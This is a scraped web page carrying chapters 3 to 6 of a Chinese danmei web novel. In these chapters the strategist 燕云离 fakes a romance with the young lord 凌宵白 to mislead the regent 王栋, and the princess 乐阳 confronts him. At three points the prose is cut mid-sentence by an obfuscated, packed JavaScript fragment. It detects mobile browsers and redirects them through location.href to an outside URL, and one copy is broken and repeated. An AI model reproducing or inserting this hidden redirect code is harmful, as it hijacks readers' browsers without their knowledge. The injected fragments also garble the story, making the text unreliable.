《丞相太美怎么办》 3. 第 3 章 王栋还没走近,就被燕云离抢白道:“太师,离还有一请求。” 一上来敢对王栋提各种要求的,也就燕云离了,早些年王栋也干过霸王硬上弓的肮脏事,后来得势了,献殷勤的人多了,王栋也就腻味了,环肥燕瘦也就那么回事,燕云离这样的小辣椒他还是第一次遇到,王栋忽然觉得不如等一等,满足他的各种愿望似乎也挺有乐子的。 王栋挺直背板:“美人有何要求,尽管说。” 燕云离擦了擦嘴角:“东都繁华,离早就想一览东都风景,今晚可否允许离到街市上去逛一逛,顺便也好挑选店铺。” 王栋道:“美人舟车劳顿,何不多休息几晚再出去逛?” 燕云离自然不会给他机会让自己留宿,马上道:“昨晚等候太师召见的时候已经休息好了,此刻一番热情就像见识东都的风情。” 王栋笑:“这还不容易?晚上我让台将军陪美人去街市,也好保护美人的安全。” 燕云离眨了眨眼睛:“台将军一路上也辛苦了,而且回东都还有那么多公务,实在没必要陪离闲逛,离请求太师恩准,让另一个人晚上陪离去逛街市。” 燕云离像条滑手的泥鳅,欲擒故纵,挠得王栋心里痒痒的,急急道:“准了准了,美人想要谁陪同,尽管说。” 燕云离不急不慢吐出几个字:“凌、小、世、子。” 燕云离的嘴里说出谁的名字都不奇怪,却唯独偏偏凌小世子让王栋心生疑惑。 王栋想起台静池称在枕云居偶遇凌宵白,难道凌宵白与燕云离是旧识?生性多疑的王栋待燕云离走后,立刻命下人跟踪之,打探清楚二人的关系。 * 夜晚,华灯初上,东都的街市上张灯结彩,开门的店铺比白日里只多不少,更增添了几分梦幻迷离的气氛。 奉命陪逛街的凌宵白十分不爽,一只手扶着腰侧的宝剑,一只手背在身上,不情不愿地迈着步子跟在燕云离身后。 燕云离过于美貌,他一路看着街道两旁的风景,路过的行人也情不自禁地为他驻足。 凌宵白推开两个过于忘形的登徒子,加快步子跟近了一点,皱着眉头对燕云离的后脑勺道:“先生命真大,居然从王栋手里活着出来了。” 燕云离头也没回,眯着眼睛道:“世子也命大,居然从长乐宫里活着出来了。” 凌宵白这下不高兴了,快步绕到他前面,拦住燕云离的去路,盯着他的眼睛道:“你到底是何意?为何要诋毁太后?” 好心当成驴肝肺,早知道就不救他了! 燕云离心里翻着白眼,他扭过头,侧脸对凌宵白道:“你若不信我,为何又要听我的,拒绝太后的好意?” 凌宵白道:“我没听任何人的,我所说的话就是我所想的。” 燕云离深邃的眸子闪烁了一下,他忽然想起上一世何太后确实差人送信给洛川侯府,凌宵白确实也以同样的理由拒绝了婚约。 行,这辈子只要把凌宵白送出了东都,以后大家各不相干! 燕云离想罢,转过头微微一笑,语气轻松道:“既是如此,那我们就各自安好,小世子若是想安然离开东都,还是好好陪我逛街吧。” 说罢,迈开长腿从凌宵白身边绕了过去,两人擦身而过的一刻,燕云离身上的衣带差点飘到凌宵白脸上。 “你!”凌宵白气得握紧了手里的宝剑。 两人走了几条街,那些卖美食茶酒的燕云离不看,卖金银玉器的他也不看看,一路上琳琅满目的店面他都只逛不进。 凌宵白有些不耐烦了:“枕云先生,你到底在找什么?” 燕云离挥了挥自己宽大的衣袖:“世子没发现我的衣服太旧了么。” “你要买衣服?为什么不早说!”凌宵白扶额。 “世子知道在哪里买?” “……” 凌宵白还真不知道在哪里买,他的衣服都是裁缝上门量身定制的。 “哈,有了!”燕云离忽然指着街对面一家绿瓦红墙的楼阁,迈着轻快的步子走了过去。 凌宵白抬头一看,红色牌匾上用金漆写着“香倚阁”三个字。 凌宵白踏进门槛的时候,燕云离正在中间的柜台前挑选饰品,看见凌宵白进来,他面露奇怪之色:“咦?世子你也来了,我还以为你走了呢。” 凌宵白扭头看向一边,不予置评。 燕云离抬起长而密的羽睫,眸子微微朝门外转了转,压低声音对凌宵白道:“有人跟踪我们,眼下在对面盯着呢。” 凌宵白嘴角不屑地“嘁”了一声,冷声道:“早发现了,跟了一路了。” 燕云离收起目光,用手里的饰品遮住嘴:“世子若是想平安离开东都,等会我说什么世子照做就是。” 凌宵白警惕地抬起头:“你要我做什么?” 燕云离却不理他,拐到里面看衣服去了。 凌宵白皱了皱眉,恰好看到外面盯梢的人正翘首往里面看,他只好转过头跟了上去。 东都贵族们的品味真不怎样,看香倚阁里衣物的风格就知道了。 掌柜的看两人相貌不凡又面生得很,迎上来吹嘘道:“二位客官慢慢挑,有喜欢的尽管试,我这可是东都最好的裁缝铺。” “可有成衣?”燕云离问。 掌柜的眉飞色舞:“有有有,像先生这样的身段,穿什么都好看。” “那可不行。”燕云离摇头,“我的要求是很高的,你这挂出来的啧啧……” 掌柜的一愣,不服气了,他家在东都算是最贵的几间裁缝铺之一了,不少王公贵族都在这定制衣服。 “先生看这件,这可是东都顶流同款。”掌柜的指着正墙上一件华服道。 燕云离眯起眼睛。 掌柜的得意地走过去,把衣服连同衣架一起搬了过来:“先生请看,这材质、这剪裁,这可是东都第一贵公子欧阳公子的同款。” 衣服不能说难看,只能说惨不忍睹,燕云离忍不住问:“这可是东都最贵的成衣店?” “那当然!”掌柜的脸上露出不容置疑的表情,拍着胸脯道,“就是定国公家的女眷也在我家买衣服。” 王栋家的女眷在这里买衣服,那看来是最贵的不假了。燕云离挑了半天,终于在老板压箱底的柜子里翻出一件能入眼的水蓝色锦衫。 “哎呀,先生可真有眼光!”掌柜的上来就夸,“这可是先帝后宫里流出来的古董礼服!” 燕云离转过身:“被你乱改过了吧。” 掌柜的惊叹道:“先生怎么知道?” 燕云离摇摇头,指着上半身堆砌的廉价珠子道:“把这些都拆掉,然后用我刚才挑的那些羽毛缝在肩膀处,金线缠在颈脖这处。” 掌柜的连连称奇,这可就是恢复了这件古董礼服的原貌了!他又瞟了燕云离几眼,原以为他是外乡来的,不懂东都的时尚,现在心知恐怕是自己小瞧高人了。 掌柜的也不说破,看着燕云离道:“先生,这样的话,衣服价格可就要翻倍了。” 燕云离笑:“尽管翻,我想不管多贵,世子都付得起对吧。” 他回头看凌宵白,凌宵白正抱着双臂看着别处。 “叫我?”听到叫自己,凌霄白转过头来。 掌柜的拖着衣服,满脸堆笑:“盛惠五百两。” 什么破衣服要五百两?这够他买多少军饷了!凌宵白双手叉腰,剑眉倒竖,眼神转向燕云离。 只见燕云离挑了挑眉,眸子往窗边转了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044915|162674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,提醒他外面有人监视,嘴型无声地说了两个字:“照做。” 凌宵白心想我这辈子还没给人买过衣服!诶不对,给将士们买军服铠甲还是经常有的,算罢,就当给燕云离买战袍了。 他大手一挥道:“还喜欢什么,一起挑了再结账。” 孺子可教也,燕云离满意地点了点头。 掌柜的顿时乐开了花,马上殷勤道:“我家还有不少饰品把件,先生喜欢玉佩还是扳指,我这应有尽有。” 燕云离绕开了他,径直走到最里边的红木宝阁前,抬起头看着柜子顶上的羽毛团扇。 凌宵白恰好站在宝阁柜子的前面,顺着他的目光扭头往上看去。 燕云离伸出手,想要去够那把扇子,尽管他长身玉立,却还差了一点点。凌宵白从小练武,手长脚长,他转过身,一手绕过燕云离扶着他前面的宝阁,另一只手抬起,将团扇取了下来。 “是要这个吗?” “多谢世子。”燕云离接过团扇,顺便斜眼打量身后的凌宵白,“长臂猿果然好用。” 凌宵白:“……” 燕云离仔细地端详着手中的团扇,细密的白羽来自北国雪山顶上的神鸟白凤尾翎,千年不腐,扇柄是温润奶白的羊脂玉,来自海外仙礁的的红珊瑚珠子将羽绒交织缠绕,排列成一轮精美圆融的团扇形状。 这扇子美轮美奂、用料天南海北极其稀有,价格只怕比方才那件古董礼服还要贵上数倍。 燕云离想起上一世,自己为了大渊国开疆拓土鞠躬尽瘁,凌宵白在地摊上买的一把破纸扇,他用了整整十三年,最后在祭天大典上被投入鼎中时,燕云离身上还带着那把破纸扇。这辈子重新来过,他绝不再委屈自己了。 掌柜的走过来,看见两人的暧昧姿态,差点被闪瞎眼睛!只见凌宵白用双臂把燕云离圈在宝阁和自己身体中间,而燕云离一脸绯红靠在他怀里…… 虽说东都风气开化,但这公然在外调情的还是让人不忍直视。 凌宵白见掌柜的用袖子挡住眼睛,这才意识到自己与燕云离姿势暧昧,正要松开手,燕云离用扇子抵住他的手臂,低声道:“别动,照做。” 窗外人影浮动,凌宵白知道他是有意做给外面的人看,但这个“别动”是何意? “那个……”掌柜的转过脸,侧身对着二人,“两位公子实在抱歉,本店其他东西都卖,唯独这个,不能卖。” 掌柜的心道这位先生的眼光太毒了,一眼就看中了本店最值钱的东西。 “哦?为何?”燕云离问。 掌柜的略显尴尬:“实不相瞒,这是先皇后司凤用过的宝扇,也是他唯一的遗物,我只是代为保管。” “司凤?就是本朝那个男皇后?”燕云离忽然想起了起来,当今少帝的祖父不爱江山爱美人,最后封了一位男皇后,三王之乱时先帝带着男皇后出逃,自此两人消失得无影无踪,只留下各种猜测。 “是。”掌柜的略显尴尬地从燕云离手中拿过团扇,“这东西是无价之宝,小的也不知该如何定价。” 凌宵白还是第一次被商贩拒绝,忍不住转过身来,走到掌柜的面前,横眉俯视道:“真不能卖?” 掌柜的看了看他腰间的宝剑,又看着他结霜的表情,颤巍着有些不敢说出那个“不”字。 燕云离用手背拨开凌宵白,走了过来:“这样吧,我开个价,团扇加方才那件礼服一起,三千两,和气生财。” 掌柜的眼睛一亮。 凌宵白眉毛跳了跳。 * 第二天,东都满城便传开了——“凌小世子豪掷千金,搏美人一笑。” 听到属下禀报的王栋皱起眉头:“难道美人所说故事里的渣男就是凌小世子?” 4. 第 4 章 “你们确定他二人在香倚阁举止亲密,言行暧昧?”王栋又问。 “确定。”台静池呈上来了一张纸。 王栋展开一看,纸上大大小小写了些字,字体怎么样,言语却十分劲爆。 “东都第一风流贵公子易主——凌小世子豪豪掷千金,搏美人一笑。” 王栋皱了皱眉,又往下看:“十二诸侯夫人票选最佳女婿翻车,顶流世子塌房。” 每个字他都认识,但这连起来的让人完全全看不懂。 台静池察言观色机灵,见王栋眉头紧锁一脸疑惑,解释道:“这是民间最流行的八卦小报《东都逸闻》,作者是丹眉字画铺的老板,恰好字画铺就在香倚阁的隔壁,老板柳丹眉亲眼围观了全过程,还说要画出两人的画像来,全城售卖。 “这些市井好八卦者,不可尽信。”王栋把纸丢在案几一边。 “那……是否还要派人跟踪他二人?”台静池小心问。 王栋想了想:“再探再报!” “是!”台静池弯腰抱拳退下。 * 驿馆内。 凌宵白手一拍桌子,猛然站起:“我不去!” 昨晚从香倚阁出来,在门口被众人围观,他已经感觉很难堪,今天燕云离又邀请他去城里最热闹的酒楼招摇过市,这不是等着被人说闲话么。 凌宵白转过身,背对着燕云离面壁,一副不愿意说话的模样。 燕云离刚要开口,他抱着双臂道:“你别说大道理,我凌宵白不是怕死之辈!与其受辱不如大方赴死!” 燕云离扶额,无奈道:“怎么让你受辱了……” 昨晚无非就是好几个姑娘站在香倚阁门口,对他两一边偷笑一边偷瞄而已,看那些姑娘的样子也无恶意,不知怎地凌宵白就气成这样了。 燕云离假装轻咳了两声,一手握拳放在唇边,压着声音道:“银子也不会让世子白花的,就算世子入股我的店铺,以后赚了钱,不仅双倍奉还本金,还有分红,绝不会耽误世子置办军饷。” 凌宵白鼻子里哼了一声:“不必,那些银子小爷我还花得起。” 这幅死要面子的模样还是和上一世一模一样,燕云离撇了撇嘴,也懒得跟他纠缠了,甩手道:“今日欧阳公子在春满楼宴请好几位东都才子,山人打算去见识一下……” 凌宵白头也不会,一挥手道:“文人聚会酸死了,小爷没兴趣。” “行,那我自己去。”燕云离起身,临走关门前交代了一句,“别忘了,我们现在关系匪浅,别穿帮。” 他说完便掩上门走了,凌宵白回过头,重重地坐在榻上,他不明白为何燕云离要与他扮做亲密,难道这样他就能平安离开东都?凌宵白想破脑袋也不明白是何道理。 就在他皱着眉头闷想的时候,门外响起了人声。 凌宵白抬起头,得意道:“不是走了吗?怎么回来了?” 门开了,进来的不是燕云离,而是驿馆的下人。 “咦?世子大人,燕先生不在吗?” 凌宵白注意到这人这里的托盘:“你这端的什么?” “方才燕云先生让我送两碗解酒茶来,说出去赴宴之前要喝碗解酒茶垫着,怎么燕先生人不见了?” “不知道,你走吧!”凌宵白没好气地一挥手。 那人瞄了他的后脑勺一眼,识趣地退出去了。 凌宵白坐在榻上,忽然内心有些不安,两碗解酒茶?难道还准备了自己那份了?等等,难道燕云离打算去喝大酒?那他没喝解酒茶就这么走了…… 凌宵白脑袋里忽然出现燕云离被一群人灌醉的模样,他眉头一皱,大手一把抓起宝剑走了出去。 刚下楼梯,就听见刚才那个下人在与其他人偷笑说话。 “世子还嘴硬,说不知道燕云离去哪了,那神情明明很担心。” “世子是嘴硬心软,真是可爱!” 可——爱?? 凌宵白当场石化,内心一阵狼嚎! 自己在军营里可是以一抵百的硬汉,头一次又人敢用“可爱”形容他,握着宝剑的手颤抖起来。 * 此时的春满楼被东都名流欧阳公子给包了,请了一帮青年才俊、风流才子,聚在一起弄了一场“春日宴”。 大家围坐堂上,各自拿出最近搜罗的奇珍异宝或者奇闻异事,说出来与众人分享。 欧阳璇家世代公卿、地位最高,他最近刚好在外游历回来,拿着一路上搜集的诗作与众人炫耀。 “我朝幅员辽阔、风景秀丽,诗人诗心浪漫……”欧阳璇念着他搜集的旖旎诗篇,台下传来一阵阵附和的叫好声。 其实自三王之乱、外族入侵,朝中又经历了数次政变,各地兵荒马乱,百姓流离失所,真实的大宣朝早已千疮百孔,根本不是这屋子里赞颂的梦境。 “不知公子一路是走马观花,还是深入民间体察民情?”伴随着一个清凉的声音,一条颀长人影缓缓走了进来。 一片颂扬中居然出现质疑的声音,众人皆惊讶地望向门口。 欧阳璇也放下了手中的本子,抬眼看向缓缓走入大堂中的人影。 此人身着浅蓝色华服,手中摇着一把白色团扇,轻盈而华贵,仿若瑶池仙子降临。一瞬间,富丽堂皇的屋子里没了颜色,歌舞声乐也消失得无影无踪。 欧阳璇惊讶得微微张开嘴,从最上方的软塌上坐了起来:“你是……” 燕云离在屋子中央站定,双手合拢,微微颔首道:“在下燕云离。” 屋子里一片寂静。 有人最先想了起来:“啊,你就是那个最近《东都逸闻》上的热门人物,让凌小世子一掷千金的燕云离!” 果然,绯闻轶事总是传播得最快的。 燕云离背着手站在堂前,不置可否。 又有人道:“听说,你在江湖上被称做天下第一智者,是鬼仙翁的衣钵弟子,可是真的?” 谁也没见过鬼仙翁,但大家都知道他是传说中神仙般的人物,他的衣钵弟子入世,自然是天下第一智者。 燕云离依然不回答。 堂下开始窃窃私语,不满的声音逐渐开始演变成调笑: “傲慢什么,谁还不能自封个天下第一,我还是花街第一公子呢。” “谁给你封?” “当然是杏儿姑娘。” “不知羞你,哈哈哈哈……” 一片杂乱的声音中,欧阳璇慢慢地回过神来了,抬眉问道:“既是大名鼎鼎的枕云先生,方才可是对我所念诗句有所不满?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044916|162674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他一说话,屋子里顿时又安静下来。 燕云离清亮温柔的声音在堂前回荡:“诗是好诗,只可惜空中楼阁、镜花水月。” 欧阳璇皱起眉头:“你的意思是这些诗与现实不符,说的都是废话?” 燕云离颔首,嘴里却道:“山人没这么说。” 欧阳璇抬起下巴,不服气道:“我明白了,听闻先生是写兵书的,那本最负盛名的《九略》可否拿出来,让我等观摩一番。” 燕云离摇头:“兵书是给带兵打仗的人看的,诸位手无缚鸡之力,还是不要看了。” 欧阳璇不悦地站起来:“兵书也是文字写的,难道和诗不是同一种文字?先生到底是不想给我们看,还是装腔作势根本拿不出来?” “没错!”旁边有人站出来附和,“说什么得《九略》者得天下,事实上根本没有人见过,吹牛也要有个限度!听说你已经去过太师府了,还不是去递帖子,跟那些沽名钓誉之俗辈有何区别!” 此言一出,众人哗然,这些人虽然不切实际但都是东都老臣的后人,对王栋无一不痛恨,只是迫于局势不敢明说,只能背后暗中讽刺。 燕云离笑:“各位真误会我了,我去太师府不是递帖子的。” “那你去做什么!”有人不怀好意地盯着他,虽说王栋荒淫,但似乎没听说过有这种癖好。 燕云离拱手:“在下打算在东都开家店铺,以后还需诸位公子照拂。” 欧阳璇愣住了,原以为他是来踢馆的,搞了半天是来投诚的,要说在东都的市井,确实没有比他们这票纨绔更懂的了,毕竟都是家里在东都住了几代的人。 众人也愣了半晌才反应过来,气氛变得缓和起来。 “你倒是聪明,开店铺找我们询问那你可是找对路了。” 有人端了酒杯上来,就要对燕云离勾肩搭背。 “休得无礼。”欧阳璇叫开那人,“先问问枕云先生打算开哪种店铺。说不定人家要开兵器谱,我们这些手无缚鸡之力的废物可帮不上。” 燕云离含笑拱手:“欧阳公子是东都第一贵公子,见多识广,万里挑一,必定能指点山人。” 他这一踩一捧,倒把欧阳璇哄开心了。 欧阳璇侧过脸故作傲慢,嘴里却道:“哦,那你说说看。” 燕云离正要说话,春满楼的大门忽然被人用蛮力撞开,发出“砰”地一声巨响,把屋子里的人都吓了一跳。 “什么人敢在我的场子闹事!”欧阳璇眉毛倒竖,大喝道,“掌柜的,掌柜的呢!” 一队官兵却从大门口冲了进来。 堂下原本东倒西歪的众人立即站了起来,不明白是谁惹了事,尽然把官兵招来了。 欧阳璇见是官兵,反倒松了口气,正要询问,只见为首的道:“公主驾到——” 公主来了? 众人哗然。 只见大门口闪过一片艳红,一名身着朱色华丽宫服的女子昂首走了进来,脑后步摇随着她行进的步伐轻摆,金光闪闪。 乐阳公主在堂前站定,目光扫过众人,落在燕云离的脸上。 “你就是燕云离?” 燕云离道:“正是在下。” 乐阳公主冷笑一声,厉声喝道:“来人,把他绑了!” 5.第 5 章 立刻上来两个人,用绳索将燕云离绑了。 毕竟是自己组织的宴会,欧阳璇面子上过不去,上前劝阻道:“公主,这位枕云先生刚到东都不过不久,为何要绑他,这其中是不是有什么误会?” 乐阳公主推开他:“没误会,我抓的就是这个妖孽!来人,让他跪下!” 绑燕云离的人绑好了他的双手,绕到他身后,对着他膝盖后一脚,燕云离应声跪倒在地上。 乐阳公主往前走了两步,指着他骂道:“就是你勾引凌小世子,令世子鬼迷心窍是不是?” 燕云离不说话,心里默默数着数:“一、二、三……” 数到五了,大门口还静悄悄的没动静。 燕云离有些恼了,凌宵白这家伙动作怎么这么慢,怎么还没到?! 见燕云离低着头不回话,嘴唇微微翕动,好像在暗中嘀咕什么,乐阳公主气不打一处来,甩手给了他一个耳光。 燕云离鬓边的头发被打散,脸颊上火辣辣地升起两朵红云。 他抬起头,白皙的脸上泛起红晕,显得愈发明艳动人,众人都看得有些呆了,公主更是惊得后退了一步。 “妖孽,你还敢蛊惑人!来呀,拿我的鞭子过来!” 旁边的人递上鞭子,乐阳公主拿过鞭子,抬起手臂就朝燕云离抽去。 一条人影箭一般从门口飞了进来,寒光一闪,剑气挡住了鞭子的力道。 公主手里的鞭子被抽走,她看清楚来人后吃了一惊:“凌哥哥,你……怎么来了?” 抢走鞭子的人正是凌宵白:“公主为何要绑他?” 他伸手就要去拉跪坐在地上的燕云离。 乐阳公主拦住他,气急败坏道:“凌哥哥,我问你,你悔婚是不是就是因为他?” 凌宵白莫名其妙,这都什么跟什么啊,他一脸懵逼地准备说“不是”的时候,燕云离突然抬起头来,红着一张脸看着他,嘴唇微微动了动。 别人不知道燕云离在说什么,但凌宵白立刻就看清楚他在说“照做”。 照做,又是照做! 这两天凌宵白都要对“照做”这两个字应激了,此时此刻,要他照做什么? 就在凌宵白盯着燕云离,两人用眼神天人交战的时候,在旁人眼里却是另一番景象。 尤其是在公主的视角里,燕云离明明没什么事却装出一副我见犹怜的样子,含情脉脉地看着凌宵白求助。而天真的凌宵白被这副绿茶小白花的模样勾得魂都快飞了,盯着他的脸像有千言万语无处倾诉。 乐阳公主气炸了,大喊道:“来人啊,拿冷水来,我要泼醒这妖孽!” 旁边吃瓜的众才子早就惊呆了,没人理她。乐阳公主左右环顾了,一把抓起旁边案桌上的酒壶,揭开盖子,对着燕云离的脸上泼去。 燕云离没躲,老实说,这酒还蛮香的,就是有点冰。 尤其是脸刚被乐阳公主抽了一巴掌火辣辣的,分不清是疼还是冷。 “呀,好凉。”燕云离哼了一声。 “你!”抱着酒壶的乐阳公主惊呆了,她不信一个大男人还能怕酒凉……这妖孽分明在借故装绿茶,惹她的凌哥哥心疼! 果然,凌宵白弯腰伸出手指拨开他鬓边的头发,看清了他脸上的指痕,方才乐阳公主打得用力,指甲甚至把皮肤刮破,微微渗出血珠来。 皮肤破了,再用酒喷,能不疼么…… 眼见着凌宵白一脸心疼,乐阳公主气得喊道:“凌哥哥,你不会真的相信他吧?” 凌宵白皱起眉头,也不管燕云离的双手还被绑着,一把把人拎了起来。 “乐阳,枕云先生何罪之有?为何要动死刑!属实太过分了!” 凌宵白凶神恶煞的样子把乐阳公主惊得后退了一步,她半天才反应过来,委屈道:“凌哥哥,你居然为了这个妖孽吼我?我才是你的未过门的妻子,你应该站在我这边才是!” 凌宵白一只手扶额,叹了口气再次抬头道:“乐阳公主,我已经说过了,指婚只是先帝的一句玩笑,并未让内务府做任何记录就是最好的证明,还有我兄长尚未婚配,我暂时没有娶妻的打算。另外,在我印象里,你比我大三个月,以后不要叫我哥哥了,臣受不起。” 旁边吃瓜的人一阵哄堂大笑,半靠在凌宵白身上装死的燕云离也偷偷半睁开眼睛看热闹,心道没想到凌宵白这家伙平时不善言辞,关键时刻嘴还挺毒的,内心不由偷偷给他点赞。 乐阳公主脸上红一阵白一阵,跺脚道:“民间不是说,女大三抱金砖,我们才是最般配的。” 凌宵白叹了口气:“公主,这句话不是这么用的,你回宫后问问太后。” 乐阳公主转过头,眼睛看向欧阳璇求助。 欧阳璇才不想踏这趟浑水,赶紧转开头,假装没看见。 乐阳公主见自己左右不是理,还被众人耻笑,手指着燕云离对凌宵白道:“就算我们不合适,你也不能和这个妖孽在一起!” 这又是哪跟哪?无理取闹也要有个限度! 凌宵白一脸大无语,张开嘴道:“我什么时候说跟……” 他话还没说完,燕云离私底下跟他缠在一起的手指用力捏了他的胳膊一下。 凌宵白怒目圆睁地瞪着燕云离,刚要说话的时候,春满楼的大门又开了,台静池带着大队人马赶来了。 燕云离这才松了口气,行,一波三折,终于把要幕后之人等到了。 乐阳公主见到台静池,知道他是王栋的心腹,这才老实了,垂头丧气地站在那里。 台静池也不跟她打招呼,而是先一巴掌打在跟着公主来的卫队长脸上。 “混账,谁让你带公主出宫的!若是有个三长两短杀了你全家也赔不起。” 卫队长赶紧跪地求饶,不停磕头道:“小的知错了!小的知错了!下次再也不敢了,求将军饶命!” 台静池皱着眉头道:“行了,把他带下去,罚他三个月禁闭。” “是。”旁边两个士兵把卫队长拉下去了。 事实上,皇宫里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049994|162674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军卫都是黑羽君的人,没有台静池的允许谁敢带公主出来,今天这一出戏,其实就是王栋的预谋。 王栋故意让人把《东都逸闻》传到了长乐宫,就想看看何太后和乐阳公主的态度,若不是有他的允许,乐阳公主再怎么闹也不出了宫。 眼下台静池也是做给公主看的,那卫队长下去不是领罚而是领赏去了。 乐阳公主脸色铁青,低着头不敢说话。 台静池走到乐阳公主身边,拱手道:“闹也闹过了,公主请回宫吧。” 乐阳公主跺了跺脚,狠狠得盯了燕云离一眼,扭头走了。 公主一走,燕云离立刻从凌宵白身边弹开来,跟他保持一定距离,脸上完全没了方才楚楚动人的神情。 凌宵白:“……” * 太师府。 王栋听完台静池的报告后,心中的想法更为确定了。 首先台静池在枕云居巧遇凌宵白,天下怎么会有这么巧合的事,说明不是巧合,而是凌宵白本来就常在枕云居出没。 其次,凌宵白为燕云离在香倚阁一掷千金,又不惜在众年轻才子面前得罪公主也要救燕云离,这不是超乎寻常的感情是什么! 最后,燕云离故事里两人因为家世差距无法公开,听闻洛川侯爷是个老古板,肯定不能接受男媳妇儿,这不统统都对上了么! 台静池见王栋在堂前走来走去,以为王栋被横刀夺爱心中不爽,他当初带凌宵白回东都只是为了分散“搞错画像”的火力,可怎么都没想到凌宵白竟然与燕云离有“私情”!他无意中搞出了东都最大的八卦,这让台静池自己也始料未及。 台静池一向谨慎,他低着头静静地观察着王栋的反应,并不擅自发表意见。 王栋紧锁着眉头,来来回回走了七八趟之后,忽然停住了脚步。 * 驿馆这边也不太平,凌宵白和燕云离回到驿馆后,凌宵白直接跟着燕云离进了他的房间,反手便关上了门。 燕云离回过头:“你来我房间做什么?你住隔壁。” 凌宵白从怀中摸出一个小小的白玉瓷瓶,扔给他:“我这里有些疗伤的奇药,军营里常备的,你用来抹脸吧。” 燕云离看了看手里的小瓶子,还给他:“这哪算伤,公主金枝玉叶手指也娇嫩,我晚上运功的时候自己就好了。” 凌宵白看着他脸上的红印,心道最好是。 凌宵白转过身,走到桌子边,握着宝剑的手一挥,剑柄啪得一声砸在桌子上,发出一声闷响。 燕云离抬起头:“你干嘛?这是在生我的气?” 凌宵白看着他:“你为何不说出真相?我今天要是来晚了些,你知道乐阳会怎么对付你?” 燕云离看了看窗外浮动的人影,手指放在嘴唇前,压着声音吼道:“你疯了!小声点,外面都是王栋的人。” 凌宵白眼神严肃,不管不顾道:“你为何要这样做?说!” 他捏着剑的手收紧,指关节发出咔咔的声音。 6.第 6 章 燕云离心道,这不废话么,当然是为了把你赶紧送出东都。 嘴里却道:“当然是为了让世子平安回洛川。” “我不明白。”凌宵白显然不相信,“你现在让公主误以为我们有、有异乎寻常的关系,长乐宫这边怎么会放过你?你又怎么投靠太师?” 燕云离心里直翻白眼,他从来就没打算投靠王栋,但他不想跟凌宵白解释。 燕云离伸出修长手指,轻轻拨开凌宵白的剑柄,在桌子旁坐定,怡然自得地给自己倒了杯水。 “长乐宫不放过我有什么关系,王太师放过你才是关键。” 这句话把凌宵白震撼到了,他半天没回过神来。 燕云离饮了口茶,抬起眼睛,见凌宵白愣在原地,一副呆呆傻傻的样子,不由笑道:“是不是听不明白?” 凌宵白缓缓俯下身,阴影笼罩在燕云离脸上。 燕云离脸上的笑容顿住:“干嘛?” 凌宵白突然伸出手,一把抓住他的手腕:“枕云先生,我就知道!你不是真心投靠王栋的,你来东都到底有何目的?!” 凌宵白的力气大得很,燕云离根本挣脱不掉,他又不想浪费茶碗中的好茶,无奈道:“你想多了,我就是贪图东都的荣华富贵,来东都躺平享福的。” 燕云离心中暗自发誓,他说的每一个字都是真的! “胡说!”凌宵白捏着他手腕的手指用力,“你若是这样的人,怎么会不惜牺牲自己来救我?!” “我牺牲什么了我……哎哟……”燕云离咬住嘴唇。 凌宵白这才注意到燕云离白皙的手臂已经被他捏出红印来,他稍微松了松手指,但并未完全放开:“先生还是说实话,或者,跟我一起离开东都,去洛川!” 燕云离一听,这还得了,吓得手中的茶碗也不顾了,但凌宵白的动作更快,就在茶碗掉下来的一瞬间,他的另一只手接住了茶碗又以迅雷不及掩耳之势将其放到旁边的桌子上,期间一滴水也没淌出来。 燕云离看着他这一套丝滑连贯的动作,想起来这家伙一直武力惊人,自己要跟他拼体力是拼不过的,只好道:“你误会了,我就是喜欢东都,我没牺牲什么。” “名声!”凌宵白忽然凑近了,盯着燕云离的眼睛。 两人相隔咫尺,连彼此的呼吸声都听得见,燕云离脸上抽动了一下:“什么……名声?” “先生的名声,枕云先生,折辱了!”凌宵白咬牙道。 燕云离愣住了,睁大眼睛,忽明忽暗的眸子看着凌宵白。 凌宵白忽然垂下眸子,眼神里带着些哀怨:“我自小就看先生的《九略》,虽然从未谋面,但先生的许多观点我深感认同,自诩是先生的天涯知己,我不相信先生会投靠王栋,这也是我会跟着来东都的原因。我既然敢来自然也敢回去,先生跟我一起走吧!” 前面几句话上一世凌宵白也说过,上一世的燕云离感动不已,一辈子追随他死而后已,这辈子再听到…… 燕云离感觉被狗咬了。 上一世,王栋在东都势大和覆灭的那几年,凌宵白和燕云离都在洛川养精蓄锐扩充实力,凌宵白根本不知道那段时间在东都有多腥风血雨。 燕云离一把推开了他,怒气冲冲道:“你来去自如,洛川侯府数百口人呢?你军营中的将士呢?洛川百姓呢?你就不怕王栋随便给你按个罪名,怪罪到洛川侯府的头上?!” 凌宵白初生牛犊不怕虎,反问道:“我什么都没做,何罪之有?” 燕云离冷笑了一声:“少帝也什么都没做,你看他有半点自由吗?” 